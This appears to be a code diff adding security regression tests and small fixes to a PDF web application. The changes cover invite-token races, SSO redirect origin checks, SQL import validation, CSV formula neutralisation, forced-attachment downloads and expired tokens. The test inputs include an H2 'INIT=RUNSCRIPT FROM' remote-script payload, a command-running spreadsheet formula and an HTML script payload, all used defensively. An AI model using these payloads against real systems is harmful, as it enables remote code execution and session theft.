||||
verify(inviteTokenRepository).consumeIfUnused(eq("abc"), any(LocalDateTime.class));
|
||||
}
|
||||
|
||||
@Test
|
||||
void acceptInviteRejectsWhenTheTokenWasAlreadyConsumed() throws Exception {
|
||||
InviteToken invite = new InviteToken();
|
||||
invite.setToken("abc");
|
||||
invite.setExpiresAt(LocalDateTime.now().plusHours(2));
|
||||
invite.setRole(Role.USER.getRoleId());
|
||||
invite.setEmail("race@example.com");
|
||||
when(inviteTokenRepository.findByToken("abc")).thenReturn(Optional.of(invite));
|
||||
when(userService.usernameExistsIgnoreCase("race@example.com")).thenReturn(false);
|
||||
// Loser of the race: the atomic claim matches no row
|
||||
when(inviteTokenRepository.consumeIfUnused(eq("abc"), any(LocalDateTime.class)))
|
||||
.thenReturn(0);
|
||||
|
||||
mockMvc.perform(post("/api/v1/invite/accept/abc").param("password", "password123"))
|
||||
.andExpect(status().isNotFound())
|
||||
.andExpect(jsonPath("$.error").value("Invalid invite link"));
|
||||
|
||||
verify(userService, never()).saveUserCore(any());
|
||||
}
|
||||
}
|
||||
|
||||
+82
-15
@@ -25,8 +25,9 @@ import stirling.software.proprietary.service.UserLicenseSettingsService;
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class CustomOAuth2AuthenticationSuccessHandlerTest {
|
||||
|
||||
@Test
|
||||
void redirectsToTauriCallbackWhenStateMarked() throws Exception {
|
||||
private final ApplicationProperties applicationProperties = new ApplicationProperties();
|
||||
|
||||
private CustomOAuth2AuthenticationSuccessHandler handlerWithStubs() {
|
||||
LoginAttemptService loginAttemptService = mock(LoginAttemptService.class);
|
||||
UserService userService = mock(UserService.class);
|
||||
JwtServiceInterface jwtService = mock(JwtServiceInterface.class);
|
||||
@@ -37,20 +38,10 @@ class CustomOAuth2AuthenticationSuccessHandlerTest {
|
||||
oauth2Props.setAutoCreateUser(true);
|
||||
oauth2Props.setBlockRegistration(false);
|
||||
|
||||
ApplicationProperties applicationProperties = new ApplicationProperties();
|
||||
ApplicationProperties.Security securityProperties = new ApplicationProperties.Security();
|
||||
securityProperties.setOauth2(oauth2Props);
|
||||
applicationProperties.setSecurity(securityProperties);
|
||||
|
||||
CustomOAuth2AuthenticationSuccessHandler handler =
|
||||
new CustomOAuth2AuthenticationSuccessHandler(
|
||||
loginAttemptService,
|
||||
oauth2Props,
|
||||
userService,
|
||||
jwtService,
|
||||
licenseSettingsService,
|
||||
applicationProperties);
|
||||
|
||||
when(userService.usernameExistsIgnoreCase("user")).thenReturn(false);
|
||||
when(licenseSettingsService.isOAuthEligible(null)).thenReturn(true);
|
||||
when(userService.isUserDisabled("user")).thenReturn(false);
|
||||
@@ -61,25 +52,101 @@ class CustomOAuth2AuthenticationSuccessHandlerTest {
|
||||
org.mockito.Mockito.anyMap()))
|
||||
.thenReturn("jwt");
|
||||
|
||||
return new CustomOAuth2AuthenticationSuccessHandler(
|
||||
loginAttemptService,
|
||||
oauth2Props,
|
||||
userService,
|
||||
jwtService,
|
||||
licenseSettingsService,
|
||||
applicationProperties);
|
||||
}
|
||||
|
||||
private OAuth2AuthenticationToken authentication() {
|
||||
Map<String, Object> attributes = Map.of("sub", "provider-sub", "name", "user");
|
||||
DefaultOAuth2User oauthUser =
|
||||
new DefaultOAuth2User(
|
||||
List.of(new SimpleGrantedAuthority("ROLE_USER")), attributes, "name");
|
||||
OAuth2AuthenticationToken authentication =
|
||||
new OAuth2AuthenticationToken(oauthUser, oauthUser.getAuthorities(), "google");
|
||||
return new OAuth2AuthenticationToken(oauthUser, oauthUser.getAuthorities(), "google");
|
||||
}
|
||||
|
||||
private MockHttpServletRequest request() {
|
||||
MockHttpServletRequest request = new MockHttpServletRequest();
|
||||
request.setContextPath("");
|
||||
request.setScheme("http");
|
||||
request.setServerName("localhost");
|
||||
request.setServerPort(8080);
|
||||
return request;
|
||||
}
|
||||
|
||||
@Test
|
||||
void redirectsToTauriCallbackWhenStateMarked() throws Exception {
|
||||
CustomOAuth2AuthenticationSuccessHandler handler = handlerWithStubs();
|
||||
MockHttpServletRequest request = request();
|
||||
request.setParameter("state", "tauri:abc");
|
||||
MockHttpServletResponse response = new MockHttpServletResponse();
|
||||
|
||||
handler.onAuthenticationSuccess(request, response, authentication);
|
||||
handler.onAuthenticationSuccess(request, response, authentication());
|
||||
|
||||
assertEquals(
|
||||
"http://localhost:8080/auth/callback/tauri#access_token=jwt",
|
||||
response.getRedirectedUrl());
|
||||
}
|
||||
|
||||
@Test
|
||||
void ignoresForwardedHostFromAnotherHost() throws Exception {
|
||||
CustomOAuth2AuthenticationSuccessHandler handler = handlerWithStubs();
|
||||
MockHttpServletRequest request = request();
|
||||
request.addHeader("X-Forwarded-Host", "evil.example");
|
||||
request.addHeader("X-Forwarded-Proto", "https");
|
||||
MockHttpServletResponse response = new MockHttpServletResponse();
|
||||
|
||||
handler.onAuthenticationSuccess(request, response, authentication());
|
||||
|
||||
assertEquals(
|
||||
"http://localhost:8080/auth/callback#access_token=jwt",
|
||||
response.getRedirectedUrl());
|
||||
}
|
||||
|
||||
@Test
|
||||
void ignoresRefererFromAnotherHost() throws Exception {
|
||||
CustomOAuth2AuthenticationSuccessHandler handler = handlerWithStubs();
|
||||
MockHttpServletRequest request = request();
|
||||
request.addHeader("Referer", "https://evil.example/auth/callback");
|
||||
MockHttpServletResponse response = new MockHttpServletResponse();
|
||||
|
||||
handler.onAuthenticationSuccess(request, response, authentication());
|
||||
|
||||
assertEquals(
|
||||
"http://localhost:8080/auth/callback#access_token=jwt",
|
||||
response.getRedirectedUrl());
|
||||
}
|
||||
|
||||
@Test
|
||||
void usesConfiguredFrontendUrlAndIgnoresHeaders() throws Exception {
|
||||
CustomOAuth2AuthenticationSuccessHandler handler = handlerWithStubs();
|
||||
applicationProperties.getSystem().setFrontendUrl("https://app.example.com");
|
||||
MockHttpServletRequest request = request();
|
||||
request.addHeader("X-Forwarded-Host", "evil.example");
|
||||
MockHttpServletResponse response = new MockHttpServletResponse();
|
||||
|
||||
handler.onAuthenticationSuccess(request, response, authentication());
|
||||
|
||||
assertEquals(
|
||||
"https://app.example.com/auth/callback#access_token=jwt",
|
||||
response.getRedirectedUrl());
|
||||
}
|
||||
|
||||
@Test
|
||||
void honoursForwardedHeadersWhenHostMatchesRequestHost() throws Exception {
|
||||
CustomOAuth2AuthenticationSuccessHandler handler = handlerWithStubs();
|
||||
MockHttpServletRequest request = request();
|
||||
request.addHeader("X-Forwarded-Host", "localhost");
|
||||
request.addHeader("X-Forwarded-Proto", "https");
|
||||
MockHttpServletResponse response = new MockHttpServletResponse();
|
||||
|
||||
handler.onAuthenticationSuccess(request, response, authentication());
|
||||
|
||||
assertEquals(
|
||||
"https://localhost/auth/callback#access_token=jwt", response.getRedirectedUrl());
|
||||
}
|
||||
}
|
||||
|
||||
+116
@@ -0,0 +1,116 @@
|
||||
package stirling.software.proprietary.security.saml2;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.mockito.Mockito.mock;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.springframework.mock.web.MockHttpServletRequest;
|
||||
import org.springframework.mock.web.MockHttpServletResponse;
|
||||
import org.springframework.security.authentication.TestingAuthenticationToken;
|
||||
import org.springframework.security.core.Authentication;
|
||||
|
||||
import stirling.software.common.model.ApplicationProperties;
|
||||
import stirling.software.proprietary.security.service.JwtServiceInterface;
|
||||
import stirling.software.proprietary.security.service.LoginAttemptService;
|
||||
import stirling.software.proprietary.security.service.UserService;
|
||||
import stirling.software.proprietary.service.UserLicenseSettingsService;
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class CustomSaml2AuthenticationSuccessHandlerTest {
|
||||
|
||||
private final ApplicationProperties applicationProperties = new ApplicationProperties();
|
||||
|
||||
private CustomSaml2AuthenticationSuccessHandler handlerWithStubs() {
|
||||
LoginAttemptService loginAttemptService = mock(LoginAttemptService.class);
|
||||
UserService userService = mock(UserService.class);
|
||||
JwtServiceInterface jwtService = mock(JwtServiceInterface.class);
|
||||
UserLicenseSettingsService licenseSettingsService = mock(UserLicenseSettingsService.class);
|
||||
|
||||
ApplicationProperties.Security.SAML2 saml2Props =
|
||||
new ApplicationProperties.Security.SAML2();
|
||||
saml2Props.setAutoCreateUser(true);
|
||||
saml2Props.setBlockRegistration(false);
|
||||
|
||||
when(userService.usernameExistsIgnoreCase("user")).thenReturn(false);
|
||||
when(licenseSettingsService.isSamlEligible(null)).thenReturn(true);
|
||||
when(jwtService.isJwtEnabled()).thenReturn(true);
|
||||
when(jwtService.generateToken(
|
||||
org.mockito.Mockito.any(Authentication.class),
|
||||
org.mockito.Mockito.anyMap()))
|
||||
.thenReturn("jwt");
|
||||
|
||||
return new CustomSaml2AuthenticationSuccessHandler(
|
||||
loginAttemptService,
|
||||
saml2Props,
|
||||
userService,
|
||||
jwtService,
|
||||
licenseSettingsService,
|
||||
applicationProperties);
|
||||
}
|
||||
|
||||
private Authentication authentication() {
|
||||
CustomSaml2AuthenticatedPrincipal principal =
|
||||
new CustomSaml2AuthenticatedPrincipal(
|
||||
"user", Map.of(), "name-id", List.of(), "response");
|
||||
return new TestingAuthenticationToken(principal, "credentials");
|
||||
}
|
||||
|
||||
private MockHttpServletRequest request() {
|
||||
MockHttpServletRequest request = new MockHttpServletRequest();
|
||||
request.setContextPath("");
|
||||
request.setScheme("http");
|
||||
request.setServerName("localhost");
|
||||
request.setServerPort(8080);
|
||||
return request;
|
||||
}
|
||||
|
||||
@Test
|
||||
void ignoresForwardedHostFromAnotherHost() throws Exception {
|
||||
CustomSaml2AuthenticationSuccessHandler handler = handlerWithStubs();
|
||||
MockHttpServletRequest request = request();
|
||||
request.addHeader("X-Forwarded-Host", "evil.example");
|
||||
request.addHeader("X-Forwarded-Proto", "https");
|
||||
MockHttpServletResponse response = new MockHttpServletResponse();
|
||||
|
||||
handler.onAuthenticationSuccess(request, response, authentication());
|
||||
|
||||
assertEquals(
|
||||
"http://localhost:8080/auth/callback#access_token=jwt",
|
||||
response.getRedirectedUrl());
|
||||
}
|
||||
|
||||
@Test
|
||||
void usesConfiguredFrontendUrlAndIgnoresHeaders() throws Exception {
|
||||
CustomSaml2AuthenticationSuccessHandler handler = handlerWithStubs();
|
||||
applicationProperties.getSystem().setFrontendUrl("https://app.example.com");
|
||||
MockHttpServletRequest request = request();
|
||||
request.addHeader("X-Forwarded-Host", "evil.example");
|
||||
MockHttpServletResponse response = new MockHttpServletResponse();
|
||||
|
||||
handler.onAuthenticationSuccess(request, response, authentication());
|
||||
|
||||
assertEquals(
|
||||
"https://app.example.com/auth/callback#access_token=jwt",
|
||||
response.getRedirectedUrl());
|
||||
}
|
||||
|
||||
@Test
|
||||
void honoursForwardedHeadersWhenHostMatchesRequestHost() throws Exception {
|
||||
CustomSaml2AuthenticationSuccessHandler handler = handlerWithStubs();
|
||||
MockHttpServletRequest request = request();
|
||||
request.addHeader("X-Forwarded-Host", "localhost");
|
||||
request.addHeader("X-Forwarded-Proto", "https");
|
||||
MockHttpServletResponse response = new MockHttpServletResponse();
|
||||
|
||||
handler.onAuthenticationSuccess(request, response, authentication());
|
||||
|
||||
assertEquals(
|
||||
"https://localhost/auth/callback#access_token=jwt", response.getRedirectedUrl());
|
||||
}
|
||||
}
|
||||
+54
@@ -263,4 +263,58 @@ class DatabaseServiceTest {
|
||||
boolean result = databaseService.importDatabaseFromUI(script);
|
||||
assertThat(result).isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
void validateSqlContentAcceptsPlainCreateAndInsert() throws IOException {
|
||||
Path script =
|
||||
writeScript(
|
||||
"CREATE TABLE T(ID INT, NAME CHARACTER VARYING(255));\n"
|
||||
+ "INSERT INTO T(ID, NAME) VALUES(1, 'Default team');\n");
|
||||
|
||||
assertThat(databaseService.importDatabaseFromUI(script)).isTrue();
|
||||
}
|
||||
|
||||
@Test
|
||||
void validateSqlContentRejectsTemporaryLinkedTable() throws IOException {
|
||||
Path script =
|
||||
writeScript(
|
||||
"CREATE GLOBAL TEMPORARY LINKED TABLE X('org.h2.Driver',"
|
||||
+ "'jdbc:h2:mem:p;INIT=RUNSCRIPT FROM ''http://a/x.sql''',"
|
||||
+ "'sa','sa','T');");
|
||||
|
||||
assertThatThrownBy(() -> databaseService.importDatabaseFromUI(script))
|
||||
.isInstanceOf(IllegalArgumentException.class)
|
||||
.hasMessageContaining("disallowed operations");
|
||||
}
|
||||
|
||||
@Test
|
||||
void validateSqlContentRejectsForceLinkedTable() throws IOException {
|
||||
Path script =
|
||||
writeScript(
|
||||
"CREATE FORCE LINKED TABLE X('org.h2.Driver',"
|
||||
+ "'jdbc:h2:mem:p','sa','sa','T');");
|
||||
|
||||
assertThatThrownBy(() -> databaseService.importDatabaseFromUI(script))
|
||||
.isInstanceOf(IllegalArgumentException.class)
|
||||
.hasMessageContaining("disallowed operations");
|
||||
}
|
||||
|
||||
@Test
|
||||
void validateSqlContentRejectsInitRunscriptHiddenInStringLiteral() throws IOException {
|
||||
Path script =
|
||||
writeScript(
|
||||
"CREATE TABLE T(ID INT, URL CHARACTER VARYING(255));\n"
|
||||
+ "INSERT INTO T(ID, URL) VALUES(1,"
|
||||
+ " 'jdbc:h2:mem:p;INIT=RUNSCRIPT FROM ''http://a/x.sql''');");
|
||||
|
||||
assertThatThrownBy(() -> databaseService.importDatabaseFromUI(script))
|
||||
.isInstanceOf(IllegalArgumentException.class)
|
||||
.hasMessageContaining("disallowed operations");
|
||||
}
|
||||
|
||||
private Path writeScript(String sqlContent) throws IOException {
|
||||
Path script = Files.createTempFile("backup", ".sql");
|
||||
Files.writeString(script, sqlContent);
|
||||
return script;
|
||||
}
|
||||
}
|
||||
|
||||
+133
@@ -0,0 +1,133 @@
|
||||
package stirling.software.proprietary.security.util;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.mock.web.MockHttpServletRequest;
|
||||
|
||||
import stirling.software.common.model.ApplicationProperties;
|
||||
|
||||
class SsoRedirectOriginResolverTest {
|
||||
|
||||
private ApplicationProperties applicationProperties;
|
||||
private MockHttpServletRequest request;
|
||||
|
||||
@BeforeEach
|
||||
void setUp() {
|
||||
applicationProperties = new ApplicationProperties();
|
||||
request = new MockHttpServletRequest();
|
||||
request.setScheme("http");
|
||||
request.setServerName("localhost");
|
||||
request.setServerPort(8080);
|
||||
}
|
||||
|
||||
@Test
|
||||
void configuredFrontendUrlWinsOverHeaders() {
|
||||
applicationProperties.getSystem().setFrontendUrl("https://app.example.com");
|
||||
request.addHeader("X-Forwarded-Host", "evil.example");
|
||||
request.addHeader("Referer", "https://evil.example/callback");
|
||||
|
||||
assertEquals(
|
||||
"https://app.example.com",
|
||||
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
|
||||
}
|
||||
|
||||
@Test
|
||||
void configuredFrontendUrlIsTrimmedAndTrailingSlashRemoved() {
|
||||
applicationProperties.getSystem().setFrontendUrl(" https://app.example.com/ ");
|
||||
|
||||
assertEquals(
|
||||
"https://app.example.com",
|
||||
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
|
||||
}
|
||||
|
||||
@Test
|
||||
void forwardedHostFromAnotherHostIsRejected() {
|
||||
request.addHeader("X-Forwarded-Host", "evil.example");
|
||||
request.addHeader("X-Forwarded-Proto", "https");
|
||||
|
||||
assertEquals(
|
||||
"http://localhost:8080",
|
||||
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
|
||||
}
|
||||
|
||||
@Test
|
||||
void forwardedHostMatchingRequestHostIsAccepted() {
|
||||
request.addHeader("X-Forwarded-Host", "localhost");
|
||||
request.addHeader("X-Forwarded-Proto", "https");
|
||||
request.addHeader("X-Forwarded-Port", "8443");
|
||||
|
||||
assertEquals(
|
||||
"https://localhost:8443",
|
||||
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
|
||||
}
|
||||
|
||||
@Test
|
||||
void forwardedHostMatchingRequestHostIgnoresDefaultPort() {
|
||||
request.addHeader("X-Forwarded-Host", "LOCALHOST");
|
||||
request.addHeader("X-Forwarded-Proto", "https");
|
||||
request.addHeader("X-Forwarded-Port", "443");
|
||||
|
||||
assertEquals(
|
||||
"https://LOCALHOST",
|
||||
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
|
||||
}
|
||||
|
||||
@Test
|
||||
void forwardedHostWithPortMatchingRequestHostIsAccepted() {
|
||||
request.addHeader("X-Forwarded-Host", "localhost:9000");
|
||||
|
||||
assertEquals(
|
||||
"http://localhost:9000",
|
||||
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
|
||||
}
|
||||
|
||||
@Test
|
||||
void refererFromAnotherHostIsRejected() {
|
||||
request.addHeader("Referer", "https://evil.example/auth/callback");
|
||||
|
||||
assertEquals(
|
||||
"http://localhost:8080",
|
||||
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
|
||||
}
|
||||
|
||||
@Test
|
||||
void refererFromRequestHostIsAccepted() {
|
||||
request.addHeader("Referer", "https://localhost:8443/login");
|
||||
|
||||
assertEquals(
|
||||
"https://localhost:8443",
|
||||
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
|
||||
}
|
||||
|
||||
@Test
|
||||
void refererIsConsideredWhenForwardedHostIsRejected() {
|
||||
request.addHeader("X-Forwarded-Host", "evil.example");
|
||||
request.addHeader("Referer", "http://localhost:8080/login");
|
||||
|
||||
assertEquals(
|
||||
"http://localhost:8080",
|
||||
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
|
||||
}
|
||||
|
||||
@Test
|
||||
void malformedRefererFallsBackToRequestOrigin() {
|
||||
request.addHeader("Referer", "ht!tp://[not a url");
|
||||
|
||||
assertEquals(
|
||||
"http://localhost:8080",
|
||||
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
|
||||
}
|
||||
|
||||
@Test
|
||||
void requestOriginOmitsDefaultPort() {
|
||||
request.setScheme("https");
|
||||
request.setServerName("app.example.com");
|
||||
request.setServerPort(443);
|
||||
|
||||
assertEquals(
|
||||
"https://app.example.com",
|
||||
SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties));
|
||||
}
|
||||
}
|
||||
+25
@@ -219,6 +219,31 @@ class PdfContentExtractorTest {
|
||||
assertThat(csv.get(0)).contains("\"a\"").contains("\"b\"").contains("\"c\"");
|
||||
}
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("neutralises formula cells but leaves numbers alone")
|
||||
void formulaCellsAreNeutralised() throws IOException {
|
||||
extractor = newExtractor();
|
||||
TableFragment fragment =
|
||||
new TableFragment(
|
||||
"tbl-1",
|
||||
1,
|
||||
new Bounds(0, 0, 100, 100),
|
||||
List.of(),
|
||||
List.of(),
|
||||
List.of(List.of("=cmd|'/c calc'!A1", "-1,234.00")),
|
||||
2,
|
||||
1.0f,
|
||||
List.of(),
|
||||
null);
|
||||
when(tabulaTableParser.parse(any(PDDocument.class), anyInt()))
|
||||
.thenReturn(List.of(fragment));
|
||||
try (PDDocument doc = textDocument("with table")) {
|
||||
List<String> csv = extractor.extractTablesAsCsv(doc, 1);
|
||||
assertThat(csv.get(0)).contains("\"'=cmd|'/c calc'!A1\"");
|
||||
assertThat(csv.get(0)).contains("\"-1,234.00\"");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Nested
|
||||
|
||||
+104
@@ -36,6 +36,7 @@ import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
import stirling.software.proprietary.audit.AuditEventType;
|
||||
import stirling.software.proprietary.security.model.User;
|
||||
import stirling.software.proprietary.service.AuditService;
|
||||
import stirling.software.proprietary.storage.model.FileShare;
|
||||
import stirling.software.proprietary.storage.model.StoredFile;
|
||||
import stirling.software.proprietary.storage.provider.StorageProvider;
|
||||
import stirling.software.proprietary.storage.service.FileStorageService;
|
||||
@@ -173,6 +174,109 @@ class FileStorageControllerTest {
|
||||
verifyNoInteractions(auditService);
|
||||
}
|
||||
|
||||
@Test
|
||||
void downloadFile_inlineHtml_forcesAttachmentDisposition() throws Exception {
|
||||
StoredFile file = newStoredFile();
|
||||
file.setOriginalFilename("payload.html");
|
||||
file.setContentType("text/html");
|
||||
streamedDownload(file);
|
||||
|
||||
// Uploader-controlled HTML served inline runs on our origin and steals the JWT.
|
||||
mockMvc.perform(get("/api/v1/storage/files/{fileId}/download", 77L).param("inline", "true"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(
|
||||
header().string(
|
||||
HttpHeaders.CONTENT_DISPOSITION,
|
||||
"attachment; filename=\"payload.html\""));
|
||||
}
|
||||
|
||||
@Test
|
||||
void downloadFile_inlineSvg_forcesAttachmentDisposition() throws Exception {
|
||||
StoredFile file = newStoredFile();
|
||||
file.setOriginalFilename("payload.svg");
|
||||
file.setContentType("image/svg+xml");
|
||||
streamedDownload(file);
|
||||
|
||||
// SVG carries script too, so it is not on the inline allowlist despite being an image.
|
||||
mockMvc.perform(get("/api/v1/storage/files/{fileId}/download", 77L).param("inline", "true"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(
|
||||
header().string(
|
||||
HttpHeaders.CONTENT_DISPOSITION,
|
||||
"attachment; filename=\"payload.svg\""));
|
||||
}
|
||||
|
||||
@Test
|
||||
void downloadFile_inlineHtmlWithCharsetParameter_forcesAttachmentDisposition()
|
||||
throws Exception {
|
||||
StoredFile file = newStoredFile();
|
||||
file.setOriginalFilename("payload.html");
|
||||
file.setContentType("TEXT/HTML; charset=utf-8");
|
||||
streamedDownload(file);
|
||||
|
||||
// Parameters and casing must not let a blocked type slip past the allowlist.
|
||||
mockMvc.perform(get("/api/v1/storage/files/{fileId}/download", 77L).param("inline", "true"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(
|
||||
header().string(
|
||||
HttpHeaders.CONTENT_DISPOSITION,
|
||||
"attachment; filename=\"payload.html\""));
|
||||
}
|
||||
|
||||
@Test
|
||||
void downloadFile_inlinePdf_stillRendersInline() throws Exception {
|
||||
StoredFile file = newStoredFile();
|
||||
streamedDownload(file);
|
||||
|
||||
// The allowlist must not break the in-app viewer for the types it was built for.
|
||||
mockMvc.perform(get("/api/v1/storage/files/{fileId}/download", 77L).param("inline", "true"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(
|
||||
header().string(
|
||||
HttpHeaders.CONTENT_DISPOSITION,
|
||||
"inline; filename=\"doc.pdf\""));
|
||||
}
|
||||
|
||||
@Test
|
||||
void downloadFile_inlineTextPlainWithCharsetParameter_stillRendersInline() throws Exception {
|
||||
StoredFile file = newStoredFile();
|
||||
file.setOriginalFilename("notes.txt");
|
||||
file.setContentType("text/plain; charset=UTF-8");
|
||||
streamedDownload(file);
|
||||
|
||||
mockMvc.perform(get("/api/v1/storage/files/{fileId}/download", 77L).param("inline", "true"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(
|
||||
header().string(
|
||||
HttpHeaders.CONTENT_DISPOSITION,
|
||||
"inline; filename=\"notes.txt\""));
|
||||
}
|
||||
|
||||
@Test
|
||||
void downloadShareLink_inlineHtml_forcesAttachmentDisposition() throws Exception {
|
||||
StoredFile file = newStoredFile();
|
||||
file.setOriginalFilename("payload.html");
|
||||
file.setContentType("text/html");
|
||||
FileShare share = new FileShare();
|
||||
share.setFile(file);
|
||||
|
||||
when(fileStorageService.getShareByToken("tok")).thenReturn(share);
|
||||
when(fileStorageService.canAccessShareLink(share, null)).thenReturn(true);
|
||||
when(storageProvider.signedDownloadUrl(
|
||||
anyString(), any(Duration.class), anyBoolean(), anyString()))
|
||||
.thenReturn(Optional.empty());
|
||||
when(fileStorageService.loadFile(file))
|
||||
.thenReturn(new ByteArrayResource("<script>alert(1)</script>".getBytes(UTF_8)));
|
||||
|
||||
// The share-link endpoint is the unauthenticated reach, so it needs the same guard.
|
||||
mockMvc.perform(get("/api/v1/storage/share-links/{token}", "tok").param("inline", "true"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(
|
||||
header().string(
|
||||
HttpHeaders.CONTENT_DISPOSITION,
|
||||
"attachment; filename=\"payload.html\""));
|
||||
}
|
||||
|
||||
/** Stubs an app-streamed (non-presigned) download of {@code file}. */
|
||||
private void streamedDownload(StoredFile file) throws Exception {
|
||||
when(fileStorageService.requireAuthenticatedUser()).thenReturn(file.getOwner());
|
||||
|
||||
+37
@@ -154,6 +154,19 @@ class WorkflowParticipantControllerMoreTest {
|
||||
assertThat(response.getBody().getEmail()).isEqualTo("p@example.com");
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("getParticipantDetails expired token throws 403")
|
||||
void getParticipantDetails_expiredToken() {
|
||||
WorkflowParticipant p = participant(ParticipantStatus.VIEWED);
|
||||
p.setExpiresAt(java.time.LocalDateTime.now().minusDays(1));
|
||||
when(participantRepository.findByShareToken(TOKEN)).thenReturn(Optional.of(p));
|
||||
|
||||
assertThatThrownBy(() -> controller.getParticipantDetails(TOKEN))
|
||||
.isInstanceOf(ResponseStatusException.class)
|
||||
.extracting(e -> ((ResponseStatusException) e).getStatusCode())
|
||||
.isEqualTo(HttpStatus.FORBIDDEN);
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("getParticipantDetails invalid token throws 403")
|
||||
void getParticipantDetails_invalidToken() {
|
||||
@@ -201,6 +214,18 @@ class WorkflowParticipantControllerMoreTest {
|
||||
.isEqualTo(HttpStatus.FORBIDDEN);
|
||||
}
|
||||
|
||||
@Test
|
||||
void expiredParticipant_throwsForbidden() {
|
||||
WorkflowParticipant p = participant(ParticipantStatus.PENDING);
|
||||
p.setExpiresAt(java.time.LocalDateTime.now().minusDays(1));
|
||||
when(participantRepository.findByShareToken(TOKEN)).thenReturn(Optional.of(p));
|
||||
|
||||
assertThatThrownBy(() -> controller.submitSignature(request(TOKEN)))
|
||||
.isInstanceOf(ResponseStatusException.class)
|
||||
.extracting(e -> ((ResponseStatusException) e).getStatusCode())
|
||||
.isEqualTo(HttpStatus.FORBIDDEN);
|
||||
}
|
||||
|
||||
@Test
|
||||
void alreadyCompleted_throwsBadRequest() {
|
||||
WorkflowParticipant p = participant(ParticipantStatus.SIGNED);
|
||||
@@ -259,6 +284,18 @@ class WorkflowParticipantControllerMoreTest {
|
||||
.isEqualTo(HttpStatus.FORBIDDEN);
|
||||
}
|
||||
|
||||
@Test
|
||||
void expiredParticipant_throwsForbidden() {
|
||||
WorkflowParticipant p = participant(ParticipantStatus.PENDING);
|
||||
p.setExpiresAt(java.time.LocalDateTime.now().minusDays(1));
|
||||
when(participantRepository.findByShareToken(TOKEN)).thenReturn(Optional.of(p));
|
||||
|
||||
assertThatThrownBy(() -> controller.declineParticipation(TOKEN, "too late"))
|
||||
.isInstanceOf(ResponseStatusException.class)
|
||||
.extracting(e -> ((ResponseStatusException) e).getStatusCode())
|
||||
.isEqualTo(HttpStatus.FORBIDDEN);
|
||||
}
|
||||
|
||||
@Test
|
||||
void alreadyCompleted_throwsBadRequest() {
|
||||
WorkflowParticipant p = participant(ParticipantStatus.DECLINED);
|
||||
|
||||
@@ -2024,6 +2024,7 @@ missingToken = "OAuth login failed - no token received."
|
||||
oauthFailed = "OAuth login failed. Please try again."
|
||||
pleaseWait = "Please wait while we finish signing you in."
|
||||
signedOut = "You have been signed out. Please sign in again."
|
||||
unsolicited = "Login could not be completed because it was not started from this browser. Please sign in again."
|
||||
windowMayClose = "You can close this window once it completes."
|
||||
|
||||
[auth.displayName]
|
||||
|
||||
@@ -100,6 +100,40 @@ function persistRedirectPath(path: string): void {
|
||||
}
|
||||
}
|
||||
|
||||
export const SSO_FLOW_STORAGE_KEY = "stirling_sso_flow";
|
||||
|
||||
function randomFlowId(): string {
|
||||
try {
|
||||
return crypto.randomUUID();
|
||||
} catch (_error) {
|
||||
// crypto.randomUUID is secure-context only; any opaque value works here
|
||||
return `${Date.now()}-${Math.random().toString(36).slice(2)}`;
|
||||
}
|
||||
}
|
||||
|
||||
// Records that this browser started an SSO flow, so /auth/callback can tell a
|
||||
// solicited token from one an attacker pasted into the URL fragment.
|
||||
export function markSsoFlowStarted(): void {
|
||||
try {
|
||||
if (typeof window === "undefined") return;
|
||||
window.sessionStorage.setItem(SSO_FLOW_STORAGE_KEY, randomFlowId());
|
||||
} catch (_error) {
|
||||
// sessionStorage unavailable (private mode): fail open
|
||||
}
|
||||
}
|
||||
|
||||
/** Reads and clears the single-use SSO flow marker. */
|
||||
export function consumeSsoFlowMarker(): boolean {
|
||||
try {
|
||||
if (typeof window === "undefined") return false;
|
||||
const value = window.sessionStorage.getItem(SSO_FLOW_STORAGE_KEY);
|
||||
window.sessionStorage.removeItem(SSO_FLOW_STORAGE_KEY);
|
||||
return Boolean(value);
|
||||
} catch (_error) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Same-origin relative path, not pointing at auth plumbing. Rejects protocol-relative
|
||||
// URLs to guard against open-redirect abuse if the stored value is tampered with.
|
||||
export function isSafePostLoginRedirect(path: unknown): path is string {
|
||||
@@ -488,6 +522,7 @@ class SpringAuthClient {
|
||||
try {
|
||||
const redirectPath = normalizeRedirectPath(params.options?.redirectTo);
|
||||
persistRedirectPath(redirectPath);
|
||||
markSsoFlowStarted();
|
||||
|
||||
// Use the full path provided by the backend
|
||||
// This supports both OAuth2 (/oauth2/authorization/...) and SAML2 (/saml2/authenticate/...)
|
||||
|
||||
